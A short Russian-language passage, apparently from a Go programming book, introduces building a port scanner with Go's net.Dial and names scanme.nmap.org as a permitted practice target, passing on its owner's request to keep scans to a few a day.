Первый шаг в создании сканера портов — понять процесс инициирования соединения от клиента к серверу. В рассматриваемом примере вы будете подключаться к scanme.nmap.org — сервису проекта Nmap1 и сканировать его. Для этого мы с вами задействуем пакет Go net: net.Dial(network,addressstring).

Это бесплатный сервис, предоставленный создателем Nmap Федором. Но не стоит слишком усердствовать с его применением. Хозяин ресурса просит «не нагружать сервер и делать не более нескольких сканирований в день, но никак не 100».